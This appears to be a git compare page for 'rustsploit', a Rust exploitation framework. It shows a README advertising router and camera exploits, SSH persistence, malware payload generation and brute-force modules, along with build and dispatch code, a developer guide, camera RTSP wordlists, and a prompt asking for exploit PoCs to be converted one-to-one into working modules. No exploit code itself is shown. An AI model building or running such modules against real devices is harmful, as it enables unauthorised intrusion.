Compare commits

..

122 Commits

Author SHA1 Message Date
S.B 101f201b30 Merge pull request #7 from s-b-repo/devs-uwu
Devs uwu
2025-04-24 16:55:48 +02:00
S.B 903dcd896d Update Cargo.toml 2025-04-24 16:54:52 +02:00
S.B d823a1760a Update README.md 2025-04-24 16:52:54 +02:00
S.B e7c1de9ab6 Update mod.rs 2025-04-24 16:38:46 +02:00
S.B e34fda4904 Add files via upload 2025-04-24 16:35:33 +02:00
S.B 5f8a3fcd4e Update Cargo.toml 2025-04-23 22:54:50 +02:00
S.B 6a3014cb2d Update opensshserver_9_8p1race_condition.rs 2025-04-23 22:53:21 +02:00
S.B 02e8bf4476 Update README.md 2025-04-23 22:46:46 +02:00
S.B ca6f3cf2ff Update README.md 2025-04-23 22:46:23 +02:00
S.B 14b350e1cc Update README.md 2025-04-23 22:45:53 +02:00
S.B b586f03cb6 Update mod.rs 2025-04-23 22:41:40 +02:00
S.B cbe0768fe3 Add files via upload 2025-04-23 22:40:58 +02:00
S.B c6fbdceb41 Update README.md 2025-04-23 21:20:10 +02:00
S.B 0a431b1431 Update mod.rs 2025-04-23 21:14:12 +02:00
S.B d8afcbd257 Add files via upload 2025-04-23 21:13:32 +02:00
S.B 8af374401e Delete src/modules/exploits/router/tp_link_vn020.rs 2025-04-23 21:13:11 +02:00
S.B dea86bd358 Update README.md 2025-04-23 20:31:17 +02:00
S.B d13408d5cc Update Cargo.toml 2025-04-23 20:19:34 +02:00
S.B 2b867f7550 Update mod.rs 2025-04-23 20:17:11 +02:00
S.B 5c5171f8d7 Add files via upload 2025-04-23 20:16:37 +02:00
S.B d1ceae6304 Update mod.rs 2025-04-23 20:15:45 +02:00
S.B 3bd0262554 Add files via upload 2025-04-23 20:15:16 +02:00
S.B fe9e8bb0bd Update extra.txt 2025-04-23 15:55:54 +02:00
S.B 67c5b8651e Update extra.txt 2025-04-23 15:50:50 +02:00
S.B 9c33ecc8c8 Update extra.txt 2025-04-23 15:50:22 +02:00
S.B 4c8e968bb9 Create extra.txt 2025-04-23 15:49:45 +02:00
S.B 5c66d123d8 Update README.md 2025-04-23 14:10:40 +02:00
S.B 0369126960 Update heartbleed.rs 2025-04-23 14:08:32 +02:00
S.B 5b951c7187 Update port_scanner.rs 2025-04-23 14:07:19 +02:00
S.B 127bc9d20a Update README.md 2025-04-23 14:04:25 +02:00
S.B f2b71a4981 Update README.md 2025-04-23 14:03:45 +02:00
S.B 7475c22b65 Update exploit.rs 2025-04-23 14:02:51 +02:00
S.B f41fc58462 Update creds.rs 2025-04-23 14:02:18 +02:00
S.B 891801514b Update scanner.rs 2025-04-23 14:02:03 +02:00
S.B c9d650933a Update mod.rs 2025-04-23 14:01:45 +02:00
S.B 8080cca173 Add files via upload 2025-04-23 14:00:34 +02:00
S.B 431dfb53a3 Update Cargo.toml 2025-04-23 13:59:47 +02:00
S.B c02a58f6e6 Add files via upload 2025-04-23 13:39:23 +02:00
S.B b82685b214 Update README.md 2025-04-23 13:38:14 +02:00
S.B edb23f54b1 Update README.md 2025-04-23 13:37:46 +02:00
S.B b7a0274944 Update doc.md 2025-04-23 13:36:47 +02:00
S.B af71c827c7 Update doc.md 2025-04-23 13:31:58 +02:00
S.B 2d9989e735 Update doc.md 2025-04-23 13:23:57 +02:00
S.B 8920be99ca Merge pull request #5 from s-b-repo/dev-weekly
Update README.md
2025-04-22 16:03:13 +02:00
S.B 075a898fd7 Update README.md 2025-04-22 16:01:15 +02:00
S.B 0e6fb4fa3c Update README.md 2025-04-22 16:00:28 +02:00
S.B e1ac588ee4 Merge pull request #4 from s-b-repo/dev-weekly
Dev weekly
2025-04-22 15:59:15 +02:00
S.B cf4307c2b7 Update README.md 2025-04-22 14:32:25 +02:00
S.B 160090cb21 Update Cargo.toml 2025-04-22 14:27:01 +02:00
S.B f142be2b2e Update exploit.rs 2025-04-22 14:22:53 +02:00
S.B 6464b95054 Update mod.rs 2025-04-22 14:21:22 +02:00
S.B da379c3d39 Add files via upload 2025-04-22 14:20:26 +02:00
S.B fed1fc37d6 Add files via upload 2025-04-22 08:48:22 +02:00
S.B ea08e77109 Update shell.rs 2025-04-22 08:45:48 +02:00
S.B 017e4907c5 Delete Screenshot_20250416_111212.png 2025-04-22 08:43:26 +02:00
S.B 06bc6134a7 Delete Screenshot_20250409_010733.png 2025-04-22 08:43:08 +02:00
S.B f29199e2e1 Update README.md 2025-04-22 08:38:56 +02:00
S.B ef1f44fc23 Update utils.rs 2025-04-22 08:36:09 +02:00
S.B ddabd9dcbc Update shell.rs 2025-04-22 08:35:33 +02:00
S.B 61d0a7ef3c Update Cargo.toml 2025-04-22 07:43:04 +02:00
S.B e6d5a85153 Update exploit.rs 2025-04-21 16:42:01 +02:00
S.B d90f88ab91 Add files via upload 2025-04-21 16:41:08 +02:00
S.B b4a91be121 Create mod.rs 2025-04-21 16:38:32 +02:00
S.B 9694801619 Update scanner.rs 2025-04-21 15:26:27 +02:00
S.B 5313ae76f4 Update mod.rs 2025-04-21 15:25:26 +02:00
S.B bbbab50420 Add files via upload 2025-04-21 15:24:27 +02:00
S.B 66256975ee Update README.md 2025-04-20 21:46:31 +02:00
S.B 87dbf50464 Update README.md 2025-04-20 21:05:04 +02:00
S.B 3b258196f8 Merge pull request #3 from s-b-repo/weakly-dev.2
Weakly dev.2
2025-04-20 20:56:14 +02:00
S.B 2afa06ec1c Add files via upload 2025-04-20 20:53:17 +02:00
S.B 62c1c0b1a2 Delete src directory 2025-04-20 20:52:18 +02:00
S.B d11ee5cbeb Update Cargo.toml 2025-04-20 20:49:41 +02:00
S.B ddc6f57ade Update exploit.rs 2025-04-20 20:44:20 +02:00
S.B 67a87ac70e Add files via upload 2025-04-20 20:43:25 +02:00
S.B 16459fac69 Update mod.rs 2025-04-20 20:43:08 +02:00
S.B ae44fcb90c Rename enum.txt to rtsp-paths.txt 2025-04-16 16:45:36 +02:00
S.B 7f446b00a5 Add files via upload 2025-04-16 16:45:06 +02:00
S.B e40938fbb5 Create about.txt 2025-04-16 16:44:36 +02:00
S.B c841746f3c Update creds.rs 2025-04-16 16:43:13 +02:00
S.B bf06740df6 Update mod.rs 2025-04-16 16:42:17 +02:00
S.B 3be699817f Add files via upload 2025-04-16 16:41:48 +02:00
S.B df998013b1 Update Cargo.toml 2025-04-16 15:16:28 +02:00
S.B b77f60a9c5 Update doc.md 2025-04-16 15:12:38 +02:00
S.B 91d887217d Update cli.rs 2025-04-16 15:10:03 +02:00
S.B c0b9e431f5 Update shell.rs 2025-04-16 15:09:29 +02:00
S.B baf250e636 Update README.md 2025-04-16 13:50:46 +02:00
S.B 084b391737 Update README.md 2025-04-16 13:48:10 +02:00
S.B c13109589f Update README.md 2025-04-16 13:46:26 +02:00
S.B e0bbf7ba23 Update README.md 2025-04-16 13:43:47 +02:00
S.B b41b3c58c0 Update README.md 2025-04-16 11:18:40 +02:00
S.B 2ca6920b3d Update README.md 2025-04-16 11:15:03 +02:00
S.B 79cbecb69c Merge pull request #2 from s-b-repo/weekly-dev
Weekly dev
2025-04-16 11:13:42 +02:00
S.B 837660fccf Add files via upload 2025-04-16 11:12:56 +02:00
S.B 6c3e9a9fee Update creds.rs 2025-04-16 10:53:42 +02:00
S.B d30bc674c5 Update mod.rs 2025-04-16 10:51:56 +02:00
S.B eefd13f15d Add files via upload 2025-04-16 10:50:26 +02:00
S.B e33c9b5511 Delete src/modules/creds/camera directory 2025-04-16 10:48:55 +02:00
S.B 7cd7a21231 Add files via upload 2025-04-16 10:48:32 +02:00
S.B 0621f32f03 Update Cargo.toml 2025-04-15 09:38:01 +02:00
S.B ac38523823 Add files via upload 2025-04-15 09:37:21 +02:00
S.B d074a8157f Delete src directory 2025-04-15 09:36:46 +02:00
S.B d0f4ca17c6 Merge pull request #1 from s-b-repo/rewrite
Rewrite
2025-04-11 01:03:54 +02:00
S.B 62916f46dc Update Cargo.toml 2025-04-11 00:53:03 +02:00
S.B df629fa3e3 Add files via upload 2025-04-11 00:52:34 +02:00
S.B 873c12cbfa Delete src directory 2025-04-11 00:51:33 +02:00
S.B 632cab6a26 Update doc.md 2025-04-10 23:10:48 +02:00
S.B 0ac87b3e49 Update doc.md 2025-04-10 23:10:10 +02:00
S.B c43b1e1ae3 Create doc.md 2025-04-10 23:08:28 +02:00
S.B f876d91986 Update Cargo.toml 2025-04-10 19:05:29 +02:00
S.B 49ada2bb21 Update README.md 2025-04-10 19:02:07 +02:00
S.B 3f87adeb60 Update mod.rs 2025-04-10 19:00:23 +02:00
S.B e216e416ca Update creds.rs 2025-04-10 19:00:00 +02:00
S.B a910b75637 Add files via upload 2025-04-10 18:58:36 +02:00
S.B d9547dbe2e Create ftp_anonymous.rs 2025-04-10 18:20:21 +02:00
S.B 54b1606028 Update creds.rs 2025-04-10 18:18:26 +02:00
S.B 2228c8a19b Update mod.rs 2025-04-10 18:16:26 +02:00
S.B 0d589e9bb6 Update README.md 2025-04-10 06:55:53 +02:00
S.B 1ad4786466 Update README.md 2025-04-10 06:52:29 +02:00
S.B a64b60c307 Update mod.rs 2025-04-10 06:47:59 +02:00
S.B 22933ec2fb Add files via upload 2025-04-10 06:46:58 +02:00
S.B 892a29851a Update Cargo.toml 2025-04-10 06:46:02 +02:00
S.B f4217fa04d Update utils.rs 2025-04-10 06:45:18 +02:00
49 changed files with 4576 additions and 114 deletions
+55 -3
View File
@@ -1,17 +1,69 @@
[package]
name = "r_routersploit"
name = "rustsploit"
version = "0.1.0"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json"] }
reqwest = { version = "0.12.15", features = ["json", "socks"] }
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process"] }
# Easier error handling
anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
# RDP brute forcing module
rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
#camera uniview exploit
quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
#ssh rce race condition
libc = "0.2.172"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
+130 -27
View File
@@ -1,20 +1,50 @@
---
# R-RouterSploit 🛠️
# Rustsploit 🛠️
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/Screenshot_20250409_010733.png)
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/lat.png)
📚 **Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
---
### Goals & To Do lists
convert exploits and add modules
Convert exploits and add modules
add wordlists and brute forcing modules
# completed
```
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
bomb Persistence create SSH user | Remote Root Shell
added spotube exploit zero day exploit as of 24 april reported to spotube
added exploit tplink_wr740n Buffer Overflow 'DOS'
added exploit tp_link_vn020 Denial Of Service (DOS)
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
added exploit uniview_nvr_pwd_disclosure password disclore
updated docs again and readme
rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
added proxy support https/http socks4/socks5
telnet brute forcing module
ssh brute forcing module
ftp anonymous login module
ftp brute forcing module
added rtsp_bruteforce module
dynamic modules listing and colored listing
```
---
## 🚀 Building & Running
@@ -27,31 +57,21 @@ cd r-routersploit
### 🛠️ Build the Project
```bash
```
cargo build
```
### 🔧 Run in CLI Mode
You can run specific modules via CLI using subcommands:
#### ▶ Exploit
To build and run:
```
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
cargo run
```
#### 🧪 Scanner
To install:
```
cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
cargo install
```
#### 🔐 Credentials
```
cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
```
---
### 🖥️ Run in Interactive Shell Mode
@@ -61,15 +81,98 @@ Launch the interactive RSF shell:
cargo run
```
Once inside the shell, you can explore and execute modules:
Once inside the shell:
```shell
```text
rsf> help
rsf> modules
rsf> use exploits/sample_exploit
rsf> show_proxies
rsf> proxy_on / proxy_off
rsf> proxy_load proxies.txt
rsf> find
rsf> use exploits/heartbleed
rsf> set target 192.168.1.1
rsf> run
```
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
---
### 🔧 Run in CLI Mode
#### ▶ Exploit
```
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
#### 🧪 Scanner
```
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
```
#### 🔐 Credentials
```
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
```
---
## 🌐 Proxy Retry Logic (Shell Mode)
- If proxies are loaded and `proxy_on` is active:
- Random proxy is used from list
- On failure, tries another until successful
- If all fail, it runs once **without proxy**
---
## 📂 Module System
Modules are automatically detected using `build.rs` and registered as:
- Short: `port_scanner`
- Full: `scanners/port_scanner`
Each module must define:
```rust
pub async fn run(target: &str) -> Result<()>
```
Optional:
```rust
pub async fn run_interactive(target: &str) -> Result<()>
```
---
## 🧼 Shell State
The shell keeps:
- Current module
- Current target
- Proxy list + state
No session state is saved — everything resets on restart.
---
## 💡 Want to Add a Module?
See the full [Developer Guide](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
Includes:
- ✅ How to write modules
- 🧠 Auto-dispatch system explained
- 📦 Module placement
- 🌐 Proxy logic details
- 🔍 Scanner vs Exploit vs Credential paths
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
```
---
Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

+96
View File
@@ -0,0 +1,96 @@
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
fn main() {
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
generate_dispatch(
"src/modules/exploits",
"exploit_dispatch.rs",
"crate::modules::exploits"
);
generate_dispatch(
"src/modules/creds",
"creds_dispatch.rs",
"crate::modules::creds"
);
generate_dispatch(
"src/modules/scanners",
"scanner_dispatch.rs",
"crate::modules::scanners"
);
}
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join(out_file);
let mut file = File::create(&dest_path).unwrap();
let root_path = Path::new(root);
let mut mappings = Vec::new();
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_path.replace("/", "::"),
p = mod_prefix
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
if path.is_dir() {
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
if file_name == "mod" {
continue;
}
let mod_path = format!("{}/{}", prefix, file_name)
.trim_start_matches('/')
.to_string();
let key = mod_path.clone();
let mut source = String::new();
fs::File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.push((key.clone(), mod_path));
println!("✅ Registered module: {}/{}", prefix, file_name);
} else {
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
}
}
}
}
Ok(())
}
+341
View File
@@ -0,0 +1,341 @@
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
---
## 🧠 Framework Philosophy
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
- 📟 CLI (`cargo run -- --command ...`)
- 🖥️ Shell (`rsf>` prompt)
Goals:
- 🔒 Safe-by-default
- 📦 Cleanly separated modules
- ⚡ Async concurrency
- 🌐 Proxy-aware execution
---
## 🗂️ Directory Structure
```
routersploit_rust/
├── Cargo.toml
├── build.rs
└── src/
├── main.rs # Entrypoint
├── cli.rs # CLI argument parser
├── shell.rs # Interactive shell logic
├── commands/ # Module dispatch logic
│ ├── mod.rs
│ ├── scanner.rs
│ ├── scanner_gen.rs
│ ├── exploit.rs
│ ├── exploit_gen.rs
│ ├── creds_gen.rs
│ └── creds.rs
├── modules/ # All attack modules
│ ├── mod.rs
│ ├── exploits/
│ ├── scanners/
│ └── creds/
└── utils.rs # Common utilities
```
---
## 🔗 Module System
Each module is a Rust file with a required `run()` entry point:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>
```
### Optional:
```rust
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
// internal prompts or logic
}
```
### Placement:
- Exploits: `src/modules/exploits/`
- Scanners: `src/modules/scanners/`
- Credentials: `src/modules/creds/`
Subfolders are supported:
- `exploits/routers/tplink.rs``tplink` or `routers/tplink`
- `scanners/http/title.rs``title` or `http/title`
---
## ✅ Adding a New Module
### 1. Create File
```rust
// src/modules/scanners/ftp_weak_login.rs
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
println!("[*] Checking FTP on {}", target);
Ok(())
}
```
### 2. Register in `mod.rs`
```rust
pub mod ftp_weak_login;
```
---
## 🧠 Auto-Dispatch System
The CLI/shell can call:
```bash
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
```
Or in the shell:
```
rsf> use scanners/ftp_weak_login
rsf> set target 192.168.1.1
rsf> run
```
Behind the scenes:
1. `build.rs` scans `src/modules/` recursively
2. Detects files with `pub async fn run(...)`
3. Generates:
- `exploit_dispatch.rs`
- `scanner_dispatch.rs`
- `creds_dispatch.rs`
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
---
## ❌ What Not To Do
- ❌ No `run()` → wont dispatch
- ❌ Dont name multiple functions `run()` in one file
- ❌ Dont use `mod.rs` as a module — ignored by generator
- ❌ Dont forget to update `mod.rs` when adding modules
---
## ⚙️ CLI Usage
```bash
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
```
### Args:
- `--command`: exploit | scanner | creds
- `--module`: file name of module
- `--target`: IP or host
---
## 🖥️ Shell Usage
```bash
cargo run
```
Then:
```
rsf> help
rsf> modules
rsf> use scanners/port_scanner
rsf> set target 192.168.0.1
rsf> run
```
Maintains internal state:
- `current_module`
- `current_target`
- `proxy_list`
- `proxy_enabled`
---
## 🔁 Proxy Retry Logic (Shell Only)
Proxy logic only applies in shell mode (`rsf>`).
### Flow:
1. User types `run`
2. Shell checks:
- Module is selected?
- Target is set?
- Proxy enabled?
---
### Case 1: Proxy ON, Proxies LOADED
- Create `HashSet<String>``tried_proxies`
- Loop:
- Pick random untried proxy
- Set `ALL_PROXY` using:
```rust
env::set_var("ALL_PROXY", proxy);
```
- Call `commands::run_module(...)`
- On success: stop
- On error: mark proxy as failed, try another
- If all proxies fail:
- Clear proxy env:
```rust
env::remove_var("ALL_PROXY");
```
- Try once directly
---
### Case 2: Proxy ON, No Proxies Loaded
- Show warning
- Clear `ALL_PROXY`
- Run once directly
---
### Case 3: Proxy OFF
- Clear proxy vars
- Run module once
---
### Summary Flow:
```
If proxy_enabled:
while untried proxies:
pick → set env → run → if fail → mark tried
if none work → clear env → try direct
else:
clear env → try direct
```
---
## 🧪 Module Execution Flow
Whether via CLI or shell:
1. `commands::run_module(...)`
2. Determines type: `exploit`, `scanner`, or `cred`
3. Calls correct dispatcher
4. Dispatcher calls `run(target).await`
5. Output shown to user
---
## 🛑 Error Handling
- All modules must return `anyhow::Result<()>`
- Errors are caught and shown cleanly in CLI or shell
---
## ⚡ Async Features
- Entire framework is powered by `tokio`
- All I/O modules are `async`
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
---
## 📡 Making Requests
Use `reqwest`:
```rust
let resp = reqwest::get(&url).await?.text().await?;
```
Or with client:
```rust
let client = reqwest::Client::new();
let resp = client.post(&url).json(&data).send().await?;
```
✅ All requests respect `ALL_PROXY`
---
## 🧪 Example Use Cases
### CLI
```bash
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
```
### Shell
```bash
rsf> use creds/ftp_weak_login
rsf> set target 192.168.1.100
rsf> run
```
---
## 🧼 Shell Reset
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
---
## 🔐 Adapting CVEs
To build a real-world exploit:
- Convert PoC to async Rust logic
- Validate by checking known response headers/content
- Place it in the right folder and wire `run()`
TCP/UDP logic:
```rust
use tokio::net::{TcpStream, UdpSocket};
```
---
## 💡 Feature Roadmap
add more exploits etc
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools.
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
+27
View File
@@ -0,0 +1,27 @@
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
All internal logic must be routed through this function.
✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
✅ If necessary, clean up variable scoping or imports, but never remove real features.
✅ keep all comments from the orginal but add two / before comments
✅ only use the poc and it must be a 1 to 1 convertion
Here is the original module that needs to be refactored:
.
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

+1
View File
@@ -0,0 +1 @@
just lists like word lists
+176
View File
@@ -0,0 +1,176 @@
0
0video1
1
1.AMP
11:1main
1cif
1stream1
11
12
4
CAM_ID.password.mp2
CH001.sdp
GetData.cgi
H264
HighResolutionVideo
HighResolutionvideo
Image.jpg
LowResolutionVideo
MJPEG.cgi
MediaInputh264
MediaInputh264stream_1
MediaInputmpeg4
ONVIFMediaInput
ONVIFchannel1
PSIAStreamingchannels0?videoCodecType=H.264
PSIAStreamingchannels1
PSIAStreamingchannels1?videoCodecType=MPEG4
PSIAStreamingchannelsh264
Possible
ROHchannel11
StreamingChannels1
StreamingChannels101
StreamingChannels102
StreamingChannels103
StreamingChannels2
StreamingUnicastchannels101
Streamingchannels101
Video?Codec=MPEG4&Width=720&Height=576&Fps=30
VideoInput1h2641
access_code
access_name_for_stream_1_to_5
av0_0
av0_1
av2
avn=2
axis-mediamedia.amp
axis-mediamedia.amp?videocodec=h264&resolution=640x480
cam
camrealmonitor
camrealmonitor?channel=1&subtype=00
camrealmonitor?channel=1&subtype=01
camrealmonitor?channel=1&subtype=1
cam0_0
cam0_1
cam1h264
cam1h264multicast
cam1mjpeg
cam1mpeg4
cam1onvif-h264
camera.stm
cgi-binviewervideo.jpg?resolution=640x480
ch0
ch0.h264
ch001.sdp
ch01.264
ch0_0.h264
ch0_unicast_firststream
ch0_unicast_secondstream
channel1
dms.jpg
dms?nowprofileid=2
h264
h264.sdp
h264ch1sub
h264media.amp
h264Preview_01_main
h264Preview_01_sub
cam4mpeg4
h264_vga.sdp
image.jpg
image.mpg
imagejpeg.cgi
imgmedia.sav
imgvideo.asf
imgvideo.sav
ioImage1
ipcam.sdp
ipcamstream.cgi?nowprofileid=2
ipcam_h264.sdp
jpgimage.jpg?size=3
live
live.sdp
liveav0
livech0
livech00_0
livech00_1
livech1
livech2
liveh264
livempeg4
live0.264
live1.264
live1.sdp
live2.sdp
live3.sdp
live_h264.sdp
live_mpeg4.sdp
livestream
livestream
media
media.amp
mediamedia.amp
mediavideo1
mediavideo2
mediavideo3
medias1
mjpeg.cgi
mjpegmedia.smp
mp4
mpeg4
mpeg41media.amp
mpeg4media.amp
mpeg4media.amp?resolution=640x480
mpeg4media.smp
mpeg4cif
mpeg4unicast
mpg4rtsp.amp
multicaststream
now.mp4
nph-h264.cgi
nphMpeg4g726-640x
nphMpeg4g726-640x480
nphMpeg4nil-320x240
onvif-mediamedia.amp
onviflive2
onvif1
onvif2
play1.sdp
play2.sdp
profile
recognizer
rtpvideo1.sdp
rtsp_tunnel
rtsph264
rtsph2641080p
stream1
stream2
streamingmjpeg
synthesizer
tcpav0_0
user_defined
video
video.3gp
video.cgi
video.cgi?resolution=VGA
video.cgi?resolution=vga
video.h264
video.mjpg
video.mp4
video.pro1
video.pro2
ucast11
unicastc1s1live
user.pin.mp2
video.pro3
videomjpg.cgi
video1
video1+audio1
video2.mjpg
videoMain
videoinput_1:0h264_1onvif.stm
user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream
videostream.cgi?rate=0
vis
wfov
+82
View File
@@ -0,0 +1,82 @@
OPTIONS
DESCRIBE
SETUP
PLAY
PAUSE
TEARDOWN
GET_PARAMETER
SET_PARAMETER
REDIRECT
ANNOUNCE
RECORD
FLUSH
PING
STOP
RECEIVE
START
SHUTDOWN
CHECK
INIT
TRICKPLAY
STREAM
OPEN
CLOSE
START_RECORD
STOP_RECORD
SCALE
RESUME
STANDBY
START_PLAY
REQUEST_KEY_FRAME
CONFIG
FORCE_IFRAME
DETECT
ALIVE
RENEW
LINK
UNLINK
SET_DELAY
RESET
ACTIVATE
DEACTIVATE
ENABLE
DISABLE
LOGON
LOGOFF
AUTH
START_STREAM
STOP_STREAM
SET_TIME
GET_TIME
GET_STATUS
GET_CONFIG
SET_CONFIG
GET_INFO
SET_INFO
GET_SNAPSHOT
TRIGGER
UPGRADE
QUERY
POLL
HEARTBEAT
REPORT
CAMERA_CONTROL
FOCUS
ZOOM
PTZ
PAN
TILT
PRESET
GOTO_PRESET
SET_PRESET
REMOVE_PRESET
ADJUST
STATUS
RESTART
GET_URL
SET_URL
LOAD
SAVE
REGISTER
UNREGISTER
METADATA
+3 -9
View File
@@ -1,13 +1,7 @@
use anyhow::Result;
use crate::modules::creds;
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_cred_check" => {
creds::sample_cred_check::run(target).await?;
},
// Add more creds modules here ...
_ => eprintln!("Creds module '{}' not found.", module_name),
}
Ok(())
dispatch(module_name, target).await
}
+80
View File
@@ -0,0 +1,80 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
// Generate dispatch function
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
